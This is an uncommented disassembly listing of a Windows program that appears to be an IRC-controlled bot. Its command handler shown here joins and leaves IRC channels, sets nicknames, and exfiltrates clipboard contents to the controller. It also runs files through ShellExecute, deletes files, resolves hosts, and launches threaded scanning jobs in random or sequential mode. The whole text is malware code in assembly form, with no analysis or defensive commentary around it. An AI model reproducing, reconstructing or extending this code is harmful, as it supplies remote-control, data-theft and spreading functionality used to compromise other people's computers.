sub_414DDA add esp, 40h mov [ebp+var_6BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40B61A push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_6BC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_41141F loc_411406: ; CODE XREF: sub_40CD3A+79Dj call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4341D8 jmp loc_4108F0 ; --------------------------------------------------------------------------- loc_411417: ; CODE XREF: sub_40CD3A+46EBj push 32h call dword_421060 ; Sleep loc_41141F: ; CODE XREF: sub_40CD3A+46CAj cmp [ebp+var_6B0], ebx jz short loc_411417 jmp loc_40D68B ; --------------------------------------------------------------------------- loc_41142C: ; CODE XREF: sub_40CD3A+19EBj ; sub_40CD3A+1A02j push edi call dword_421118 ; DeleteFileA test eax, eax jz short loc_41143F push edi push offset dword_4341A8 jmp short loc_41144A ; --------------------------------------------------------------------------- loc_41143F: ; CODE XREF: sub_40CD3A+46FBj push offset dword_43493C call sub_409B27 push eax loc_41144A: ; CODE XREF: sub_40CD3A+4703j lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A loc_41145B: ; CODE XREF: sub_40CD3A+47E5j add esp, 10h jmp loc_40F526 ; --------------------------------------------------------------------------- loc_411463: ; CODE XREF: sub_40CD3A+19BDj ; sub_40CD3A+19D4j push edi call sub_41587F push eax call sub_413EDB xor esi, esi pop ecx inc esi pop ecx cmp eax, esi push edi lea eax, [ebp+var_2D8] jnz short loc_411486 push offset dword_434170 jmp short loc_41148B ; --------------------------------------------------------------------------- loc_411486: ; CODE XREF: sub_40CD3A+4743j push offset dword_434128 loc_41148B: ; CODE XREF: sub_40CD3A+474Aj push eax call sub_415316 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40F54A push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h jmp loc_40F54A ; --------------------------------------------------------------------------- loc_4114BE: ; CODE XREF: sub_40CD3A+198Fj ; sub_40CD3A+19A6j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_413C50 add esp, 18h cmp eax, 1 push edi jnz short loc_4114E0 push offset dword_4340EC jmp loc_40F517 ; --------------------------------------------------------------------------- loc_4114E0: ; CODE XREF: sub_40CD3A+479Aj push offset dword_4340A8 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_4114EA: ; CODE XREF: sub_40CD3A+1961j ; sub_40CD3A+1978j push edi call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_411524 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43C50C ; gethostbyaddr cmp eax, ebx jz short loc_41153F push dword ptr [eax] loc_41150D: ; CODE XREF: sub_40CD3A+4803j push edi lea eax, [ebp+var_2D8] push offset dword_434078 push eax call sub_415316 jmp loc_41145B ; --------------------------------------------------------------------------- loc_411524: ; CODE XREF: sub_40CD3A+47BDj push edi call dword_43C5D8 ; gethostbyname cmp eax, ebx jz short loc_41153F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43C5E0 ; inet_ntoa push eax jmp short loc_41150D ; --------------------------------------------------------------------------- loc_41153F: ; CODE XREF: sub_40CD3A+47CFj ; sub_40CD3A+47F3j push offset dword_43403C jmp loc_40EDBE ; --------------------------------------------------------------------------- loc_411549: ; CODE XREF: sub_40CD3A+1933j ; sub_40CD3A+194Aj push 7Fh push edi push [ebp+arg_14] call sub_416BE0 push edi lea eax, [ebp+var_2D8] push offset dword_434004 push eax call sub_415316 add esp, 18h jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_41156E: ; CODE XREF: sub_40CD3A+1905j ; sub_40CD3A+191Cj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43C4C8 ; ShellExecuteA test eax, eax push edi jz short loc_41158E push offset unk_433FD4 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_41158E: ; CODE XREF: sub_40CD3A+4848j push offset unk_433F9C jmp loc_40F517 ; --------------------------------------------------------------------------- loc_411598: ; CODE XREF: sub_40CD3A+18D7j ; sub_40CD3A+18EEj mov al, [edi] mov byte_42C260, al movsx eax, byte ptr [edi] push eax push offset dword_433F64 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_4115AD: ; CODE XREF: sub_40CD3A+18A9j ; sub_40CD3A+18C0j push edi call sub_41587F test eax, eax pop ecx jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_414278 push eax lea eax, [ebp+var_2D8] push offset dword_43467C push eax call sub_415316 add esp, 1Ch jmp loc_410CD0 ; --------------------------------------------------------------------------- loc_4115F8: ; CODE XREF: sub_40CD3A+187Bj ; sub_40CD3A+1892j push edi call sub_41587F test eax, eax pop ecx jle loc_40D18F push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_40D18F push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412B8B pop ecx pop ecx push 1F4h call dword_421060 ; Sleep push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call dword_43C5EC ; closesocket push [ebp+var_10] push edi call sub_41587F imul eax, 234h pop ecx push dword_4416DC[eax] call dword_421130 ; TerminateThread push edi call sub_41587F imul eax, 234h push edi mov dword_4416DC[eax], ebx call sub_41587F imul eax, 234h pop ecx pop ecx mov byte ptr dword_4414C8[eax], bl jmp loc_40D18F ; --------------------------------------------------------------------------- loc_4116A3: ; CODE XREF: sub_40CD3A+184Dj ; sub_40CD3A+1864j push edi push offset aAll ; "all" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4116D2 call sub_414F9D cmp eax, ebx jle short loc_4116C8 push eax push offset dword_433F14 jmp loc_40F5C3 ; --------------------------------------------------------------------------- loc_4116C8: ; CODE XREF: sub_40CD3A+4981j push offset dword_433ED8 jmp loc_411EB9 ; --------------------------------------------------------------------------- loc_4116D2: ; CODE XREF: sub_40CD3A+4978j mov eax, [ebp+var_A8] lea esi, [eax+1] jmp short loc_411749 ; --------------------------------------------------------------------------- loc_4116DD: ; CODE XREF: sub_40CD3A+4A12j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40D18F push edi call sub_41587F push eax call sub_414F15 pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2D8] jz short loc_41170C push offset dword_433EA0 jmp short loc_411711 ; --------------------------------------------------------------------------- loc_41170C: ; CODE XREF: sub_40CD3A+49C9j push offset dword_433E60 loc_411711: ; CODE XREF: sub_40CD3A+49D0j push eax call sub_415316 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_41173B push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_41173B: ; CODE XREF: sub_40CD3A+49E3j lea eax, [ebp+var_2D8] push eax call sub_40B078 pop ecx inc esi loc_411749: ; CODE XREF: sub_40CD3A+49A1j cmp esi, 20h jb short loc_4116DD jmp loc_40D18F ; --------------------------------------------------------------------------- loc_411753: ; CODE XREF: sub_40CD3A+181Fj ; sub_40CD3A+1836j cmp [ebp+var_C], ebx jz loc_412818 push edi push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412818 push esi push offset dword_425090 push [ebp+arg_4] call sub_412B8B push esi push offset dword_433E34 jmp short loc_4117D1 ; --------------------------------------------------------------------------- loc_411787: ; CODE XREF: sub_40CD3A+17F1j ; sub_40CD3A+1808j push edi push offset dword_43459C push [ebp+arg_4] call sub_412B8B push edi push offset dword_433E00 jmp short loc_4117D1 ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_40CD3A+17C3j ; sub_40CD3A+17DAj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412B8B push edi push offset dword_433DCC jmp loc_410D83 ; --------------------------------------------------------------------------- loc_4117BD: ; CODE XREF: sub_40CD3A+1795j ; sub_40CD3A+17ACj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412B8B push edi push offset dword_433D94 loc_4117D1: ; CODE XREF: sub_40CD3A+4172j ; sub_40CD3A+4A4Bj ... call sub_40B0EC loc_4117D6: ; CODE XREF: sub_40CD3A+41D8j add esp, 14h jmp loc_412818 ; --------------------------------------------------------------------------- loc_4117DE: ; CODE XREF: sub_40CD3A+175Aj ; sub_40CD3A+176Fj mov al, byte_4276EE mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4276EE jz loc_40D18F mov ecx, edx loc_4117F5: ; CODE XREF: sub_40CD3A+4AC3j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4117F5 cmp al, bl jz loc_40D18F mov [ebp+arg_18], edx loc_41180A: ; CODE XREF: sub_40CD3A+4D7Cj push 8 call sub_41501C pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 12Ch jle short loc_411859 push ecx lea eax, [ebp+var_2D8] push offset dword_434F78 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 20h jmp loc_411AAD ; --------------------------------------------------------------------------- loc_411859: ; CODE XREF: sub_40CD3A+4AEAj or [ebp+var_458], 0FFFFFFFFh cmp dword_427388, ebx mov [ebp+var_45C], 1Eh mov [ebp+var_470], 7 mov [ebp+var_46C], 0B4h mov [ebp+arg_0], ebx jz short loc_4118CA mov eax, [ebp+arg_18] mov edi, offset dword_427388 lea esi, [eax-0Ah] loc_411894: ; CODE XREF: sub_40CD3A+4B72j lea eax, [edi-28h] push esi push eax call sub_415730 pop ecx test eax, eax pop ecx jz short loc_4118B0 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_411894 jmp short loc_4118CA ; --------------------------------------------------------------------------- loc_4118B0: ; CODE XREF: sub_40CD3A+4B68j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_458], eax imul ecx, 3Ch mov ecx, dword_427388[ecx] mov [ebp+var_474], ecx loc_4118CA: ; CODE XREF: sub_40CD3A+4B4Dj ; sub_40CD3A+4B74j cmp [ebp+var_474], ebx jz loc_411AD3 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_D0] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43C4F8 ; getsockname mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_CC], eax push [ebp+var_CC] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_588] push eax call sub_416BE0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_588] push eax call sub_416EE0 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_41196C loc_41194A: ; CODE XREF: sub_40CD3A+4C30j cmp eax, ebx jz short loc_41196C mov byte ptr [eax], 78h lea eax, [ebp+var_588] push 30h push eax call sub_416EE0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41194A loc_41196C: ; CODE XREF: sub_40CD3A+4C0Ej ; sub_40CD3A+4C12j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_478], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_44C], eax lea eax, [ebp+var_578] push edi push eax mov [ebp+var_448], 1 mov [ebp+var_450], esi call sub_41588A push offset byte_43B188 push offset dword_42C304 call sub_415730 add esp, 14h test eax, eax jz short loc_4119D6 push offset dword_42C304 lea eax, [ebp+var_4F8] push edi push eax call sub_41588A add esp, 0Ch jmp short loc_4119DC ; --------------------------------------------------------------------------- loc_4119D6: ; CODE XREF: sub_40CD3A+4C83j mov [ebp+var_4F8], bl loc_4119DC: ; CODE XREF: sub_40CD3A+4C9Aj cmp [ebp+var_448], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_4119EE mov eax, offset aSequential ; "Sequential" loc_4119EE: ; CODE XREF: sub_40CD3A+4CADj push [ebp+var_45C] lea ecx, [ebp+var_588] push [ebp+var_46C] push [ebp+var_470] push [ebp+var_474] push ecx push eax lea eax, [ebp+var_2D8] push offset dword_433D18 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 8 push eax call sub_414DDA add esp, 2Ch mov [ebp+var_468], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_588] push ebx push eax push offset sub_4078DF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_468] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_411AC9 call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D8] push offset dword_434E48 push eax call sub_415316 add esp, 0Ch loc_411A81: ; CODE XREF: sub_40CD3A+4D97j cmp [ebp+var_8], ebx jnz short loc_411AA0 push ebx lea eax, [ebp+var_2D8] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_411AA0: ; CODE XREF: sub_40CD3A+4D4Aj lea eax, [ebp+var_2D8] push eax call sub_40B078 pop ecx loc_411AAD: ; CODE XREF: sub_40CD3A+4B1Aj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_41180A jmp loc_40D18F ; --------------------------------------------------------------------------- loc_411AC1: ; CODE XREF: sub_40CD3A+4D95j push 32h call dword_421060 ; Sleep loc_411AC9: ; CODE XREF: sub_40CD3A+4D2Aj cmp [ebp+var_444], ebx jz short loc_411AC1 jmp short loc_411A81 ; --------------------------------------------------------------------------- loc_411AD3: ; CODE XREF: sub_40CD3A+2F3Fj ; sub_40CD3A+4B96j push offset dword_433CC8 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_411ADD: ; CODE XREF: sub_40CD3A+1730j ; sub_40CD3A+1745j push 4 call sub_41501C test eax, eax pop ecx jle short loc_411AF3 push offset unk_433C94 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_411AF3: ; CODE XREF: sub_40CD3A+4DADj mov eax, [ebp+esi+var_90] mov edi, 104h cmp eax, ebx jz short loc_411B16 push eax lea eax, [ebp+var_1428] push edi push eax call sub_41588A add esp, 0Ch jmp short loc_411B25 ; --------------------------------------------------------------------------- loc_411B16: ; CODE XREF: sub_40CD3A+4DC7j lea eax, [ebp+var_1428] push edi push eax push ebx call dword_42107C ; GetModuleFileNameA loc_411B25: ; CODE XREF: sub_40CD3A+4DDAj mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_411B35 mov esi, offset byte_42C2BC loc_411B35: ; CODE XREF: sub_40CD3A+4DF4j push esi lea eax, [ebp+var_1324] push edi push eax call sub_41588A mov eax, dword_42C24C push 7Fh push [ebp+var_8C] mov [ebp+var_1218], eax mov eax, [ebp+arg_4] mov [ebp+var_121C], ebx mov [ebp+var_142C], eax lea eax, [ebp+var_1214] push eax call sub_416BE0 mov eax, [ebp+var_4] mov [ebp+var_1194], eax mov eax, [ebp+var_8] mov [ebp+var_1190], eax lea eax, [ebp+var_1324] push eax lea eax, [ebp+var_1428] push eax lea eax, [ebp+var_2D8] push [ebp+var_1218] push offset unk_427950 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 4 push eax call sub_414DDA add esp, 38h mov [ebp+var_1220], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_142C] push ebx push eax push offset sub_406B84 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1220] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_411C08 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433C48 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_411C00: ; CODE XREF: sub_40CD3A+4ED4j push 32h call dword_421060 ; Sleep loc_411C08: ; CODE XREF: sub_40CD3A+4EB3j cmp [ebp+var_118C], ebx jz short loc_411C00 jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_411C15: ; CODE XREF: sub_40CD3A+1706j ; sub_40CD3A+171Bj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_411C34 push edi call sub_41587F test eax, eax pop ecx jz short loc_411C34 push edi call sub_41587F pop ecx jmp short loc_411C39 ; --------------------------------------------------------------------------- loc_411C34: ; CODE XREF: sub_40CD3A+4EE4j ; sub_40CD3A+4EEFj mov eax, dword_42C250 loc_411C39: ; CODE XREF: sub_40CD3A+4EF8j mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_B1C], eax jz short loc_411C6C lea eax, [ebp+var_C34] push esi push eax call sub_415316 pop ecx pop ecx jmp short loc_411C97 ; --------------------------------------------------------------------------- loc_411C6C: ; CODE XREF: sub_40CD3A+4F1Fj lea eax, [ebp+var_A80] push 104h push eax call dword_421058 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_CC] push ebx push eax lea eax, [ebp+var_A80] push eax call sub_4171E8 add esp, 14h loc_411C97: ; CODE XREF: sub_40CD3A+4F30j lea eax, [ebp+var_C34] push eax call sub_415B10 cmp [ebp+eax+var_C35], 5Ch pop ecx jnz short loc_411CC2 lea eax, [ebp+var_C34] push eax call sub_415B10 pop ecx mov [ebp+eax+var_C35], bl loc_411CC2: ; CODE XREF: sub_40CD3A+4F72j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_EBC] mov [ebp+var_EC0], esi push 80h push eax call sub_41588A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_B20], eax lea eax, [ebp+var_C34] mov [ebp+var_B24], edi push eax push [ebp+var_B30] push esi call sub_40A08A pop ecx push eax lea eax, [ebp+var_2D8] push offset unk_427818 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 3 push eax call sub_414DDA add esp, 20h mov [ebp+var_B28], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC0] push ebx push eax push offset sub_405A96 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_B28] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_411DA5 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433BF8 loc_411D70: ; CODE XREF: sub_40CD3A+343Fj ; sub_40CD3A+3538j lea eax, [ebp+var_2D8] push eax call sub_415316 add esp, 0Ch loc_411D7F: ; CODE XREF: sub_40CD3A+3454j ; sub_40CD3A+354Dj ... cmp [ebp+var_8], ebx jnz loc_40D68B push ebx push edi loc_411D8A: ; CODE XREF: sub_40CD3A+3887j lea eax, [ebp+var_2D8] push eax push [ebp+var_8C] push esi jmp loc_40F913 ; --------------------------------------------------------------------------- loc_411D9D: ; CODE XREF: sub_40CD3A+5071j push 32h call dword_421060 ; Sleep loc_411DA5: ; CODE XREF: sub_40CD3A+5028j cmp [ebp+var_B14], ebx jz short loc_411D9D jmp short loc_411D7F ; --------------------------------------------------------------------------- loc_411DAF: ; CODE XREF: sub_40CD3A+16DCj ; sub_40CD3A+16F1j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411DC2 push esi call sub_41587F jmp short loc_411DC9 ; --------------------------------------------------------------------------- loc_411DC2: ; CODE XREF: sub_40CD3A+507Ej push 8 call sub_41503B loc_411DC9: ; CODE XREF: sub_40CD3A+5086j cmp eax, ebx pop ecx jz loc_412818 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40713F jmp loc_41229A ; --------------------------------------------------------------------------- loc_411DE9: ; CODE XREF: sub_40CD3A+16B2j ; sub_40CD3A+16C7j mov eax, dword_43C47C cmp eax, ebx jz short loc_411E0C call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2D8] jz short loc_411E05 push offset unk_433BC0 jmp short loc_411E2D ; --------------------------------------------------------------------------- loc_411E05: ; CODE XREF: sub_40CD3A+50C2j push offset unk_433B80 jmp short loc_411E2D ; --------------------------------------------------------------------------- loc_411E0C: ; CODE XREF: sub_40CD3A+50B6j push offset unk_433B40 lea eax, [ebp+var_2D8] jmp short loc_411E2D ; --------------------------------------------------------------------------- loc_411E19: ; CODE XREF: sub_40CD3A+1688j ; sub_40CD3A+169Dj call sub_409FB2 test eax, eax lea eax, [ebp+var_2D8] jz short loc_411E3D push offset unk_433B08 loc_411E2D: ; CODE XREF: sub_40CD3A+50C9j ; sub_40CD3A+50D0j ... push 200h push eax call sub_41588A jmp loc_40F523 ; --------------------------------------------------------------------------- loc_411E3D: ; CODE XREF: sub_40CD3A+50ECj push offset unk_433AC8 jmp short loc_411E2D ; --------------------------------------------------------------------------- loc_411E44: ; CODE XREF: sub_40CD3A+165Ej ; sub_40CD3A+1673j cmp [ebp+var_8], ebx jnz short loc_411E63 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_411E63: ; CODE XREF: sub_40CD3A+510Dj push ebx push [ebp+var_4] call sub_409BB1 push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 push offset dword_433A84 jmp loc_412167 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: sub_40CD3A+1584j ; sub_40CD3A+1599j push 7 call sub_41501C test eax, eax pop ecx jle short loc_411E98 push offset dword_433A48 jmp short loc_411EB9 ; --------------------------------------------------------------------------- loc_411E98: ; CODE XREF: sub_40CD3A+5155j push [ebp+var_8C] push [ebp+arg_4] call sub_40A71A pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_411EB4 push offset dword_433A0C jmp short loc_411EB9 ; --------------------------------------------------------------------------- loc_411EB4: ; CODE XREF: sub_40CD3A+5171j push offset dword_4339D8 loc_411EB9: ; CODE XREF: sub_40CD3A+4993j ; sub_40CD3A+515Cj ... lea eax, [ebp+var_2D8] push eax call sub_415316 pop ecx pop ecx jmp loc_40F5D2 ; --------------------------------------------------------------------------- loc_411ECC: ; CODE XREF: sub_40CD3A+155Aj ; sub_40CD3A+156Fj push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4095A9 jmp loc_412188 ; --------------------------------------------------------------------------- loc_411EE5: ; CODE XREF: sub_40CD3A+1530j ; sub_40CD3A+1545j push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C409 jmp loc_412188 ; --------------------------------------------------------------------------- loc_411F02: ; CODE XREF: sub_40CD3A+1506j ; sub_40CD3A+151Bj or edi, 0FFFFFFFFh call dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_411F2B push esi call sub_41587F pop ecx mov edi, eax loc_411F2B: ; CODE XREF: sub_40CD3A+51E6j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_411F44 cmp edi, 0FFFFFFFFh jnz loc_412818 loc_411F44: ; CODE XREF: sub_40CD3A+51FFj push ebx call sub_40A8CF push eax lea eax, [ebp+var_2D8] push offset dword_4339AC push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 lea eax, [ebp+var_2D8] push eax call sub_40B078 loc_411F81: ; CODE XREF: sub_40CD3A+328Dj add esp, 28h jmp loc_412818 ; --------------------------------------------------------------------------- loc_411F89: ; CODE XREF: sub_40CD3A+14DCj ; sub_40CD3A+14F1j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408503 lea eax, [ebp+var_2D8] push offset unk_433978 push eax call sub_415316 loc_411FAB: ; CODE XREF: sub_40CD3A+3AAAj add esp, 14h jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_411FB3: ; CODE XREF: sub_40CD3A+14B2j ; sub_40CD3A+14C7j push 1Eh call sub_41501C test eax, eax pop ecx jle short loc_411FE7 cmp [ebp+var_8], ebx jnz loc_40D18F push ebx push [ebp+var_4] push offset dword_433944 push [ebp+var_8C] loc_411FD7: ; CODE XREF: sub_40CD3A+8D9j push [ebp+arg_4] call sub_412BD1 add esp, 14h jmp loc_40D18F ; --------------------------------------------------------------------------- loc_411FE7: ; CODE XREF: sub_40CD3A+5283j push [ebp+var_8C] lea eax, [ebp+var_36C] push 80h push eax call sub_41588A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_370], eax mov eax, [ebp+var_4] mov [ebp+var_2E4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_2E0], eax mov [ebp+var_2E8], ebx jz short loc_412048 push esi push offset aFull ; "full" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_412048 mov [ebp+var_2E8], 1 loc_412048: ; CODE XREF: sub_40CD3A+52F1j ; sub_40CD3A+5302j lea eax, [ebp+var_2D8] push offset dword_433908 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 1Eh push eax call sub_414DDA add esp, 14h mov [ebp+var_2EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_370] push ebx push eax push offset sub_413DFD push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2EC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4120C8 call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D8] push offset dword_4338B8 push eax call sub_415316 add esp, 0Ch jmp loc_40F5F3 ; --------------------------------------------------------------------------- loc_4120C0: ; CODE XREF: sub_40CD3A+5394j push 32h call dword_421060 ; Sleep loc_4120C8: ; CODE XREF: sub_40CD3A+5364j cmp [ebp+var_2DC], ebx jz short loc_4120C0 jmp loc_40F5F3 ; --------------------------------------------------------------------------- loc_4120D5: ; CODE XREF: sub_40CD3A+1488j ; sub_40CD3A+149Dj cmp [ebp+var_8], ebx jnz short loc_4120F4 push ebx push [ebp+var_4] push offset dword_433888 push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_4120F4: ; CODE XREF: sub_40CD3A+539Ej push [ebp+arg_4] call dword_43C5EC ; closesocket call dword_43C4B4 ; WSACleanup call sub_409D34 push ebx call dword_421114 ; ExitProcess loc_41210F: ; CODE XREF: sub_40CD3A+145Ej ; sub_40CD3A+1473j push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40A9D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 push offset dword_43385C jmp short loc_412167 ; --------------------------------------------------------------------------- loc_41213A: ; CODE XREF: sub_40CD3A+1434j ; sub_40CD3A+1449j push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AC8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 push offset dword_433830 loc_412167: ; CODE XREF: sub_40CD3A+5146j ; sub_40CD3A+53FEj call sub_40B078 loc_41216C: ; CODE XREF: sub_40CD3A+404Ej add esp, 18h jmp loc_412818 ; --------------------------------------------------------------------------- loc_412174: ; CODE XREF: sub_40CD3A+140Aj ; sub_40CD3A+141Fj push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B118 loc_412188: ; CODE XREF: sub_40CD3A+3A9j ; sub_40CD3A+51A6j ... add esp, 10h jmp loc_40D18F ; --------------------------------------------------------------------------- loc_412190: ; CODE XREF: sub_40CD3A+13E0j ; sub_40CD3A+13F5j cmp [ebp+var_C], ebx mov [ebp+var_A0C], bl jz short loc_4121CF mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4121CF push esi push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz short loc_4121CF push eax push offset aS_1 ; "%s" lea eax, [ebp+var_A0C] push 80h push eax call sub_41588A add esp, 10h loc_4121CF: ; CODE XREF: sub_40CD3A+545Fj ; sub_40CD3A+546Aj ... push [ebp+var_8C] lea eax, [ebp+var_A8C] push 80h push eax call sub_41588A mov eax, [ebp+arg_4] push offset dword_433804 mov [ebp+var_A90], eax mov eax, [ebp+var_4] mov [ebp+var_988], eax mov eax, [ebp+var_8] mov [ebp+var_984], eax lea eax, [ebp+var_2D8] push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 1Ch push eax call sub_414DDA add esp, 20h mov [ebp+var_98C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A90] push ebx push eax push offset sub_40B18A push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_98C] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_412272 call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4337B8 jmp loc_412993 ; --------------------------------------------------------------------------- loc_41226A: ; CODE XREF: sub_40CD3A+553Ej push 32h call dword_421060 ; Sleep loc_412272: ; CODE XREF: sub_40CD3A+551Dj cmp [ebp+var_980], ebx jz short loc_41226A jmp loc_40D18F ; --------------------------------------------------------------------------- loc_41227F: ; CODE XREF: sub_40CD3A+13B6j ; sub_40CD3A+13CBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B000 push offset dword_433788 call sub_40B078 loc_41229A: ; CODE XREF: sub_40CD3A+50AAj add esp, 10h jmp loc_412818 ; 